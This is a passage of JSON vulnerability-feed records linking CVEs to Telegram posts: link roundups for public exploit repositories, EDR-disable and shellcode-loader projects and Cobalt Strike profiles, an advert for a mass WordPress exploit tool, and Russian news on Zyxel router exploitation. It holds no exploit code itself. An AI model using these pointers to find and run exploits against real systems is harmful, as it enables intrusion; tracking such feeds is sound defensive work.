organizations to unauthorized access, remote code execution, and data breaches.", "creation_timestamp": "2024-09-06T11:36:43.000000Z"}, {"uuid": "67204104-decc-4299-aad5-2d3eb7aa6c49", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40431", "type": "published-proof-of-concept", "source": "https://t.me/InfoSecInsider/739", "content": "Tools - Hackers Factory \n\nDetect It Easy, or abbreviated \"DIE\" is a program for determining types of files.\n\nhttps://github.com/horsicq/Detect-It-Easy\n\n#Exploit\n\n1. CVE-2024-39205:\nPyload RCE with js2py sandbox escape\nhttps://github.com/Marven11/CVE-2024-39205-Pyload-RCE\n\n2. CVE-2024-40431,\nCVE-2022-25477 - 25480:\nVulnerabilities in RtsPer.sys (Realtek SD Card Reader Driver)\nhttps://github.com/zwclose/realteksd\n\n3. CVE-2024-1512:\nSQLI in MasterStudy LMS WP Plugin\nhttps://github.com/rat-c/CVE-2024-1512\n\nSemi-automatic OSINT framework and package manager\n\nhttps://github.com/kpcyrd/sn0int\n\nAn Instagram tracker that logs any changes to an Instagram account (followers, following, posts, and bio)\n\nhttps://github.com/ibnaleem/instatracker\n\n#HackersFactory", "creation_timestamp": "2024-11-21T07:59:09.000000Z"}, {"uuid": "11ef0e3d-9d63-42e7-916f-6870249cd310", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40711", "type": "published-proof-of-concept", "source": "https://t.me/InfoSecInsider/312", "content": "Tools  - Hackers Factory \n\nScrcpy 2.7, just released, supports game controllers \ud83c\udfae\n\nhttps://github.com/Genymobile/scrcpy/releases/tag/v2.7\n\nPre-Auth Exploit for CVE-2024-40711\n\nhttps://github.com/watchtowrlabs/CVE-2024-40711\n\nRemote Kerberos Relay made easy! Advanced Kerberos Relay Framework\n\nhttps://github.com/CICADA8-Research/RemoteKrbRelay\n\nScan for secrets, endpoints, and other sensitive data after decompiling and deobfuscating Android files.  \n\nhttps://github.com/LucasFaudman/apkscan\n\nCLI tools for forensic investigation of artifacts \n\nhttps://github.com/dfir-dd/dfir-toolkit\n\nCobalt Strike - Malleable C2 Profiles. A collection of profiles used in different projects using Cobalt Strike\n\nhttps://github.com/xx0hcd/Malleable-C2-Profiles\n\nUnleashed ffuf\n\nhttps://github.com/sw33tLie/uff\n\nTools for searching emails for a specific domain\n\nhttp://github.com/Josue87/EmailFinder\n\nhttp://github.com/GiJ03/Infoga\n\n#CyberDilara\nhttps://t.me/CyberDilara", "creation_timestamp": "2024-09-17T09:03:08.000000Z"}, {"uuid": "52330453-32f4-4b8e-bd10-5ceb60e60223", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "exploited", "source": "https://t.me/InfoSecInsider/518", "content": "\u26a1\ufe0fAkira Ransomware Exploit CVE-2024-40766 in SonicWall SonicOS.\n\n#CyberBulletin", "creation_timestamp": "2024-10-22T15:06:35.000000Z"}, {"uuid": "277d2a3d-5380-4bbc-b2b4-bf9de46c6040", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40725", "type": "published-proof-of-concept", "source": "https://t.me/InfoSecInsider/899", "content": "#GitHub #Tools\n\nThis Python application is an OSINT (Open Source Intelligence) tool called \"Ominis OSINT - Web Hunter.\" It performs online information gathering by querying Google for search results related to a user-inputted query. The tool extracts relevant information such as titles, URLs, and potential mentions of the query in the results.\n\nhttps://github.com/AnonCatalyst/Ominis-Osint\n\nExploit CVE-2024-40725 (Apache httpd) \n\nhttps://github.com/soltanali0/CVE-2024-40725\n\nHere is the full tool. This BOF can be used to identify processes that hold handles to a given file. This can be useful to identify which process is locking a file on disk.\n\nhttps://github.com/Octoberfest7/enumhandles_BOF\n\nProof-of-concept shellcode loaders that leverage AI/ML primitives in C/C++ and Rust to do some shenanigans prior to shellcode detonation.\n\nhttps://github.com/0xTriboulet/T-1\n\nPendingFileRenameOperations + Junctions EDR Disable\n\nhttps://github.com/rad9800/FileRenameJunctionsEDRDisable\n\n#HackersForum", "creation_timestamp": "2024-12-19T04:13:52.000000Z"}, {"uuid": "34efc0ed-c4be-4525-946d-a566a4a42cef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40431", "type": "published-proof-of-concept", "source": "https://t.me/Rootsec_2/4876", "content": "#exploit\n1. CVE-2024-39205:\nPyload RCE with js2py sandbox escape\nhttps://github.com/Marven11/CVE-2024-39205-Pyload-RCE\n\n2. CVE-2024-40431,\nCVE-2022-25477 - 25480:\nVulnerabilities in RtsPer.sys (Realtek SD Card Reader Driver)\nhttps://github.com/zwclose/realteksd\n\n3. CVE-2024-1512:\nSQLI in MasterStudy LMS WP Plugin\nhttps://github.com/rat-c/CVE-2024-1512", "creation_timestamp": "2024-10-27T16:49:25.000000Z"}, {"uuid": "4723916d-daec-4a94-a1ce-d4830f052cb5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "published-proof-of-concept", "source": "https://t.me/club31337/1937", "content": "https://censys.com/crushftp-cve-2024-4040-crushed-expectations/\n\n\u269c\ufe0f @club1337", "creation_timestamp": "2024-11-11T02:18:18.000000Z"}, {"uuid": "b8a93874-7096-462b-b52a-acb4b4faae55", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "exploited", "source": "https://t.me/DEVIL_La_RSx/128", "content": "\u200aFog and Akira ransomware attacks exploit SonicWall VPN flaw CVE-2024-40766\n\nhttps://securityaffairs.com/170359/cyber-crime/fog-akira-ransomware-sonicwall-vpn-flaw.html", "creation_timestamp": "2024-10-29T17:25:34.000000Z"}, {"uuid": "a17622c4-d893-4126-8aa5-ddcb5385c028", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40348", "type": "seen", "source": "https://t.me/HackerInvestigationZone/9", "content": "\ud83d\udea8_CvEploiterv2 x xWPv3 Ultimate/Beast Software\n\n\ud83c\udfafThe most advanced software for CV 2024 expl0its and WordPress vulnerabilities\n\u00a0\u00a0\u00a0\u00a0 with the latest version/method.]\n\n\u2699\ufe0fCVE-2024-38761 - Wordpress [Zephyr Project Manager] < Unauthenticated Information Exposure.\n\n \u2699\ufe0fCVE-2024-38759 - Wordpress [Search & Replace] < Unauthenticated PHP Object Injection.\n\n\u2699\ufe0fCVE-2024-6313 - Wordpress [Gutenberg Forms] < Unauthenticated Arbitrary File Upload.\n\n\u2699\ufe0fCVE-2024-6164 - Wordpress [Filter & Grids] < Unauthenticated Local File Inclusion.\n\n\u2699\ufe0fCVE-2024-40348 - \n[Bazarr] < Unauthenticated Arbitrary File Read.\n\n\u2699\ufe0f#CVE-2024-4295 - Wordpress [Email Subscribers by Icegram Expres] < Unauthenticated SQL Injection via Hash.\n\n\u2699\ufe0fCVE-2024-4577 - PHP [CGI] < Unauthenticated Command Injection.\n\n\u2699\ufe0fCVE-2024-4836 - [Edito CMS] < Unauthenticated Sensitive Data Leak.\n\n\u2699\ufe0fCVE-2024-32399 - RaidenMAILD [MailServer] < Unauthenticated Path Traversal.\n\n#Investigation_of_hacking \n#Cyber_Security_News\n#codeb0ss", "creation_timestamp": "2024-11-12T20:45:56.000000Z"}, {"uuid": "ec79f24d-875b-4454-a19c-681bf2cc6181", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "published-proof-of-concept", "source": "https://t.me/BackupLulz/75", "content": "", "creation_timestamp": "2024-11-03T04:41:13.000000Z"}, {"uuid": "194c4a9b-b141-4763-a100-861fed3d6f58", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "published-proof-of-concept", "source": "https://t.me/club31337/1921", "content": "The CrushFTP vulnerability, CVE-2024-4040\n\ndemo of the file inclusion trick and some of the speculation on the sessions.obj usage to gain remote code execution \n\nhttps://youtu.be/etHDJWYElso?si=U2vSOVI6YgBD4N60\n\n\u269c\ufe0f @club1337", "creation_timestamp": "2024-11-11T02:18:18.000000Z"}, {"uuid": "d9b15713-bcf5-44fa-ac1d-5d2a426b97db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40725", "type": "published-proof-of-concept", "source": "https://t.me/oxlogs/26", "content": "https://github.com/soltanali0/CVE-2024-40725", "creation_timestamp": "2024-12-18T20:17:22.000000Z"}, {"uuid": "52cee4be-05e3-460f-9c35-bbf77eb332ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "exploited", "source": "https://t.me/cisoclub/4046", "content": "\ud83d\udd25 Zyxel \u043d\u0430\u043c\u0435\u043a\u0430\u0435\u0442: \u043f\u043e\u0440\u0430 \u043c\u0435\u043d\u044f\u0442\u044c \u0440\u043e\u0443\u0442\u0435\u0440\u044b, \u043f\u043e\u043a\u0430 \u043d\u0435 \u043f\u043e\u0437\u0434\u043d\u043e! \ud83d\ude80\n\n\u041d\u0443 \u0447\u0442\u043e, \u0434\u0440\u0443\u0437\u044c\u044f, \u0435\u0441\u043b\u0438 \u0432\u0430\u0448 \u0441\u0442\u0430\u0440\u044b\u0439 Zyxel \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0443\u0436\u0435 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043b\u0435\u0442, \u0435\u0441\u0442\u044c \u043f\u043e\u0432\u043e\u0434 \u0437\u0430\u0434\u0443\u043c\u0430\u0442\u044c\u0441\u044f: \u043d\u0435 \u043f\u043e\u0440\u0430 \u043b\u0438 \u0435\u0433\u043e \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043d\u0430 \u0437\u0430\u0441\u043b\u0443\u0436\u0435\u043d\u043d\u044b\u0439 \u043e\u0442\u0434\u044b\u0445? \n\n\ud83e\uddd0 \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0437\u0430\u044f\u0432\u0438\u043b\u0430, \u0447\u0442\u043e \u0446\u0435\u043b\u0430\u044f \u043b\u0438\u043d\u0435\u0439\u043a\u0430 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u043e\u0432 CPE \u0443\u0436\u0435 \u043d\u0435 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439, \u0430 \u0437\u043d\u0430\u0447\u0438\u0442 \u2014 \u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0441\u0442\u0430\u043d\u0443\u0442\u0441\u044f \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c\u0438 \u043d\u0430\u0432\u0441\u0435\u0433\u0434\u0430.\n\n\u0427\u0442\u043e \u0441\u043b\u0443\u0447\u0438\u043b\u043e\u0441\u044c?\n\n\u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b VulnCheck \u0435\u0449\u0451 \u0432 \u0438\u044e\u043b\u0435 2024-\u0433\u043e \u043d\u0430\u0448\u043b\u0438 \u0432 \u044d\u0442\u0438\u0445 \u0440\u043e\u0443\u0442\u0435\u0440\u0430\u0445 \u0441\u0435\u0440\u044c\u0451\u0437\u043d\u044b\u0435 \u0431\u0440\u0435\u0448\u0438, \u043d\u043e \u043f\u043e-\u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u043c\u0443 \u0436\u0430\u0440\u043a\u043e \u0441\u0442\u0430\u043b\u043e \u043d\u0430 \u043f\u0440\u043e\u0448\u043b\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0435, \u043a\u043e\u0433\u0434\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u0430 GreyNoise \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0435 \u0430\u0442\u0430\u043a\u0438 \u0445\u0430\u043a\u0435\u0440\u043e\u0432. \u041f\u0440\u0438\u0447\u0451\u043c \u043d\u0430 \u0432\u043e\u043b\u043d\u0435 \u0440\u0438\u0441\u043a\u0430 \u2014 \u043d\u0435 \u0430\u0431\u0441\u0442\u0440\u0430\u043a\u0442\u043d\u044b\u0435 \"\u043a\u0430\u043a\u0438\u0435-\u0442\u043e \u0442\u0430\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\", \u0430 \u0431\u043e\u043b\u0435\u0435 1,5 \u0442\u044b\u0441\u044f\u0447 \u0436\u0438\u0432\u044b\u0445 \u0440\u043e\u0443\u0442\u0435\u0440\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0434\u043e \u0441\u0438\u0445 \u043f\u043e\u0440 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u043a \u0441\u0435\u0442\u0438.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0441\u0432\u043e\u0438 CVE-\u0448\u043d\u0438\u043a\u0438: CVE-2024-40891 \u0438 CVE-2025-0890, \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u043d\u0435\u0445\u043e\u0440\u043e\u0448\u0438\u043c \u043b\u044e\u0434\u044f\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435. \u042d\u0442\u043e \u043a\u0430\u043a \u0435\u0441\u043b\u0438 \u0431\u044b \u0443 \u0432\u0430\u0441 \u0432 \u043a\u0432\u0430\u0440\u0442\u0438\u0440\u0435 \u0434\u0432\u0435\u0440\u044c \u043d\u0435 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u043b\u0430\u0441\u044c, \u0430 \u043a\u043b\u044e\u0447\u0438 \u0440\u0430\u0437\u0434\u0430\u0432\u0430\u043b\u0438 \u0432\u0441\u0435\u043c \u0436\u0435\u043b\u0430\u044e\u0449\u0438\u043c.\n\nZyxel \u0433\u043e\u0432\u043e\u0440\u0438\u0442: \"\u041f\u0440\u043e\u0441\u0442\u043e \u043a\u0443\u043f\u0438\u0442\u0435 \u043d\u043e\u0432\u044b\u0435!\"\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043f\u0440\u0438\u0437\u043d\u0430\u043b\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443, \u043d\u043e \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u043f\u0430\u0442\u0447\u0435\u0439 \u0432\u044b\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u043d\u0435 \u043f\u043b\u0430\u043d\u0438\u0440\u0443\u0435\u0442. \u041f\u043e\u0447\u0435\u043c\u0443? \u0412\u0441\u0451 \u043f\u0440\u043e\u0441\u0442\u043e \u2014 \u043c\u043e\u0434\u0435\u043b\u0438 \u0443\u0441\u0442\u0430\u0440\u0435\u043b\u0438 \u0438 \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0435 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u044e\u0442\u0441\u044f. \u0412\u043e\u0442 \u0441\u043f\u0438\u0441\u043e\u043a \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u043f\u0430\u043b\u0438 \u043f\u043e\u0434 \u044d\u0442\u043e\u0442 \u0446\u0438\u0444\u0440\u043e\u0432\u043e\u0439 \u0437\u0430\u043a\u0430\u0442: VMG1312-B10A, VMG1312-B10B, VMG1312-B10E, VMG3312-B10A, VMG3313-B10A, VMG3926-B10B, VMG4325-B10A, VMG4380-B10A, VMG8324-B10A, VMG8924-B10A, SBG3300 \u0438 SBG3500.\n\n\u0415\u0441\u043b\u0438 \u0443 \u0432\u0430\u0441 \u0447\u0442\u043e-\u0442\u043e \u0438\u0437 \u044d\u0442\u043e\u0433\u043e \u0441\u043f\u0438\u0441\u043a\u0430 \u2014 \u0432\u0440\u0435\u043c\u044f \u0434\u0435\u043b\u0430\u0442\u044c \u0430\u043f\u0433\u0440\u0435\u0439\u0434.\n\n\u041d\u043e \u0435\u0441\u0442\u044c \u043d\u044e\u0430\u043d\u0441\u2026\n\n\u0421\u0430\u043c\u044b\u0439 \u043f\u0438\u043a\u0430\u043d\u0442\u043d\u044b\u0439 \u043c\u043e\u043c\u0435\u043d\u0442: Zyxel \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442, \u0447\u0442\u043e \u0441 \u0438\u044e\u043b\u044f \u043f\u044b\u0442\u0430\u043b\u0430\u0441\u044c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043e\u0442 VulnCheck \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445, \u043d\u043e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u043e\u0447\u0435\u043c\u0443-\u0442\u043e \u0440\u0435\u0448\u0438\u043b\u0438 \u043f\u0440\u043e\u0441\u0442\u043e \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u0442\u044c \u043e\u0442\u0447\u0451\u0442, \u043d\u0435 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u0432 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044e \u0437\u0430\u0440\u0430\u043d\u0435\u0435. \n\n\ud83e\udd37\u200d\u2642\ufe0f \u0422\u0435\u043f\u0435\u0440\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0441\u0430\u043c\u0438 \u0434\u043e\u043b\u0436\u043d\u044b \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0442\u044c\u0441\u044f, \u0447\u0442\u043e \u0434\u0435\u043b\u0430\u0442\u044c \u0441 \u0434\u044b\u0440\u044f\u0432\u044b\u043c\u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c\u0438.\n\n\u0415\u0441\u043b\u0438 \u0443 \u0432\u0430\u0441 \u0441\u0442\u0430\u0440\u044b\u0439 Zyxel \u2013 \u043f\u043e\u0434\u0443\u043c\u0430\u0439\u0442\u0435 \u043e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438!\n\u041d\u0435 \u0441\u0442\u043e\u0438\u0442 \u0436\u0434\u0430\u0442\u044c, \u043f\u043e\u043a\u0430 \u0432\u0430\u0448 \u0440\u043e\u0443\u0442\u0435\u0440 \u043f\u043e\u043f\u0430\u0434\u0451\u0442 \u0432 \u0447\u0435\u0439-\u0442\u043e \u0431\u043e\u0442\u043d\u0435\u0442. \u041b\u0443\u0447\u0448\u0435 \u0432\u043b\u043e\u0436\u0438\u0442\u044c\u0441\u044f \u0432 \u043d\u043e\u0432\u044b\u0439 \u0433\u0430\u0434\u0436\u0435\u0442, \u0447\u0435\u043c \u0441\u0442\u0430\u0442\u044c \u0436\u0435\u0440\u0442\u0432\u043e\u0439 \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a\u043e\u0432. \n\n\u0414\u0440\u0443\u0433\u0438\u0435 \u043d\u043e\u0432\u043e\u0441\u0442\u0438 \u043f\u0440\u043e \u0445\u0430\u043a\u0435\u0440\u043e\u0432, \u043c\u043e\u0448\u0435\u043d\u043d\u0438\u043a\u043e\u0432, \u0443\u0442\u0435\u0447\u043a\u0438 \u0438 \u0418\u0411 \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u0437\u0434\u0435\u0441\u044c.", "creation_timestamp": "2026-08-03T16:00:04.840072Z"}, {"uuid": "9efd2078-b01f-4ca9-a34b-624491f16ee7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "seen", "source": "https://t.me/sysodmins/24675", "content": "\u0425\u0430\u043a\u0435\u0440\u044b \u0430\u0442\u0430\u043a\u0443\u044e\u0442 0-day \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Zyxel CPE, \u0434\u043b\u044f \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043d\u0435\u0442 \u043f\u0430\u0442\u0447\u0430 \ud83e\udd37\u200d\u2642\ufe0f\n\n\u25aa\ufe0f \u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u0432 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 \u0441\u0435\u0440\u0438\u0438 Zyxel CPE (CVE-2024-40891) \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0435\u0449\u0435 \u043b\u0435\u0442\u043e\u043c \u043f\u0440\u043e\u0448\u043b\u043e\u0433\u043e \u0433\u043e\u0434\u0430, \u043e\u0434\u043d\u0430\u043a\u043e \u0434\u043e \u0441\u0438\u0445 \u043f\u043e\u0440 \u043d\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u043f\u0430\u0442\u0447\u0435\u0439.\n\n\u25aa\ufe0f \u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u0441\u043e\u043e\u0431\u0449\u0430\u044e\u0442, \u0447\u0442\u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u0443\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0445\u0430\u043a\u0435\u0440\u044b.\n\n\u25aa\ufe0f \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0441\u043b\u0443\u0436\u0435\u0431\u043d\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 supervisor \u0438 zyuser.\n\n\u0422\u0438\u043f\u0438\u0447\u043d\u044b\u0439 \ud83e\udd78 \u0421\u0438\u0441\u0430\u0434\u043c\u0438\u043d", "creation_timestamp": "2025-01-31T01:05:45.000000Z"}, {"uuid": "0f9326f1-b973-4a15-9937-8d8fb7064124", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "seen", "source": "https://t.me/sysodmins/24764", "content": "Zyxel \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c \u043a\u0443\u043f\u0438\u0442\u044c \u043d\u043e\u0432\u044b\u0435 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u044b, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0441\u0442\u0430\u0440\u044b\u0445 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043d\u0435 \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u270b\n\n\u25aa\ufe0f \u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u0432 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u0430\u0445 Zyxel \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a\u0430\u043c\u0438. \u0415\u0449\u0451 \u0432 \u0430\u0432\u0433\u0443\u0441\u0442\u0435 2024 \u0433\u043e\u0434\u0430 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u0443\u0432\u0435\u0434\u043e\u043c\u0438\u043b\u0438 \u043e \u043d\u0438\u0445 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044e, \u043e\u0434\u043d\u0430\u043a\u043e \u043b\u0438\u0448\u044c \u043d\u0430\u043a\u0430\u043d\u0443\u043d\u0435 \u043d\u0430 \u0441\u0430\u0439\u0442\u0435 Zyxel \u043f\u043e\u044f\u0432\u0438\u043b\u043e\u0441\u044c \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435, \u0447\u0442\u043e \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u00ab\u043d\u0435\u0434\u0430\u0432\u043d\u043e\u00bb \u0443\u0437\u043d\u0430\u043b\u0430 \u043e \u0434\u0432\u0443\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 \ud83d\ude44\n\n\u25aa\ufe0f \u041e\u043d\u0438 \u043f\u0440\u043e\u0445\u043e\u0434\u044f\u0442 \u043f\u043e\u0434 \u043d\u043e\u043c\u0435\u0440\u0430\u043c\u0438 CVE-2024-40890 \u0438 CVE-2024-40891 \u0438, \u043f\u043e \u0441\u043b\u043e\u0432\u0430\u043c \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 \u0441 \u0438\u0441\u0442\u0435\u043a\u0448\u0438\u043c\u0438 \u0441\u0440\u043e\u043a\u0430\u043c\u0438 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438.\n\n\u25aa\ufe0f \u041f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u043e\u0432\u0430\u043b \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c \u0437\u0430\u043c\u0435\u043d\u0438\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u044b \u00ab\u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u043c\u0438 \u043d\u043e\u0432\u043e\u0433\u043e \u043f\u043e\u043a\u043e\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u043e\u043f\u0442\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0439 \u0437\u0430\u0449\u0438\u0442\u044b\u00bb. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0432 \u0441\u043f\u0438\u0441\u043a\u0435 \u0441\u043d\u044f\u0442\u044b\u0445 \u0441 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 